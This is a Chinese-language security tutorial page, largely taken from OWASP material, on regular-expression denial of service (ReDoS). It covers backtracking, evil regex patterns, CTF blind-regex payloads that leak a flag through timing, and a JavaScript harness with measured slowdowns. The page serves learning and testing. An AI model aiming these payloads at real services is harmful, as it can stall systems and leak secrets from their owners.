# 正则表达式拒绝服务 - ReDoS
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## 简介
**摘自** [**https://owasp.org/www-community/attacks/Regular\_expression\_Denial\_of\_Service\_-\_ReDoS**](https://owasp.org/www-community/attacks/Regular\_expression\_Denial\_of\_Service\_-\_ReDoS)
**正则表达式拒绝服务 (ReDoS)** 是一种[拒绝服务](https://owasp.org/www-community/attacks/Denial\_of\_Service)攻击，利用了大多数正则表达式实现可能会导致其工作非常缓慢（与输入大小呈指数关系）的事实。攻击者可以使使用正则表达式的程序进入这些极端情况，然后长时间停顿。
### 描述
#### 有问题的正则表达式天真算法
正则表达式天真算法构建了一个[非确定有限自动机 (NFA)](https://en.wikipedia.org/wiki/Nondeterministic\_finite\_state\_machine)，它是一个有限状态机，对于每对状态和输入符号，可能有多个可能的下一个状态。然后引擎开始进行转换，直到输入结束。由于可能有多个可能的下一个状态，使用确定性算法。该算法逐个尝试所有可能的路径（如果需要），直到找到匹配项（或尝试并失败所有路径）。
例如，正则表达式 `^(a+)+$` 由以下 NFA 表示：
对于输入 `aaaaX`，上述图中有 16 条可能的路径。但对于 `aaaaaaaaaaaaaaaaX`，有 65536 条可能的路径，并且每增加一个 `a`，数量就会翻倍。这是天真算法有问题的一个极端情况，因为它必须经过许多路径，然后失败。
请注意，并非所有算法都是天真的，实际上，正则表达式算法可以以高效的方式编写。不幸的是，今天大多数正则表达式引擎尝试解决的不仅仅是“纯粹”的正则表达式，还包括带有“特殊附加项”的“扩展”正则表达式，例如不能始终高效解决的反向引用（有关更多详细信息，请参见[Wiki-Regex](https://en.wikipedia.org/wiki/Regular\_expression)中的“非正则语言的模式”）。因此，即使正则表达式不是“扩展”的，也会使用天真算法。
#### 恶意正则表达式
如果一个正则表达式可以在特定输入上卡住，那么它被称为“恶意”正则表达式。
**恶意正则表达式模式包含**：
* 重复的分组
* 在重复的分组内部：
* 重复
* 重叠的选择
**恶意模式示例**：
* `(a+)+`
* `([a-zA-Z]+)*`
* `(a|aa)+`
* `(a|a?)+`
* `(.*a){x} for x \> 10`
上述所有模式都容易受到输入 `aaaaaaaaaaaaaaaaaaaaaaaa!` 的影响（在使用更快或更慢的机器时，最小输入长度可能会略有变化）。
## ReDoS 载荷
### 通过 ReDoS 进行字符串泄露
在 CTF（或漏洞赏金）中，也许你**控制了与敏感信息（标志）匹配的正则表达式**。然后，如果**正则表达式匹配**，而**不匹配则不匹配**，使页面**冻结（超时或更长的处理时间）**可能会很有用。这样，你就可以**逐个字符地泄露**字符串：
* 在[**这篇文章**](https://portswigger.net/daily-swig/blind-regex-injection-theoretical-exploit-offers-new-way-to-force-web-apps-to-spill-secrets)中，你可以找到这个 ReDoS 规则：`^(?=)((.*)*)*salt$`
* 示例：`^(?=HTB{sOmE_fl§N§)((.*)*)*salt$`
* 在[**这篇解答**](https://github.com/jorgectf/Created-CTF-Challenges/blob/main/challenges/TacoMaker%20%40%20DEKRA%20CTF%202022/solver/solver.html)中，你可以找到这个：`(((((((.*)*)*)*)*)*)*)!`
* 在[**这篇解答**](https://ctftime.org/writeup/25869)中，他使用了：`^(?=${flag_prefix}).*.*.*.*.*.*.*.*!!!!$`
### 控制输入和正则表达式的 ReDoS
以下是一些 ReDoS 示例，您可以同时控制输入和正则表达式：
```javascript
function check_time_regexp(regexp, text){
var t0 = new Date().getTime();;
new RegExp(regexp).test(text);
var t1 = new Date().getTime();;
console.log("Regexp " + regexp + " took " + (t1 - t0) + " milliseconds.")
}
// This payloads work because the input has several "a"s
[
// "((a+)+)+$", //Eternal,
// "(a?){100}$", //Eternal
"(a|a?)+$",
"(\\w*)+$", //Generic
"(a*)+$",
"(.*a){100}$",
"([a-zA-Z]+)*$", //Generic
"(a+)*$",
].forEach(regexp => check_time_regexp(regexp, "aaaaaaaaaaaaaaaaaaaaaaaaaa!"))
/*
Regexp (a|a?)+$ took 5076 milliseconds.
Regexp (\w*)+$ took 3198 milliseconds.
Regexp (a*)+$ took 3281 milliseconds.
Regexp (.*a){100}$ took 1436 milliseconds.
Regexp ([a-zA-Z]+)*$ took 773 milliseconds.
Regexp (a+)*$ took 723 milliseconds.
*/
```
## 工具
* [https://github.com/doyensec/regexploit](https://github.com/doyensec/regexploit)
* [https://devina.io/redos-checker](https://devina.io/redos-checker)
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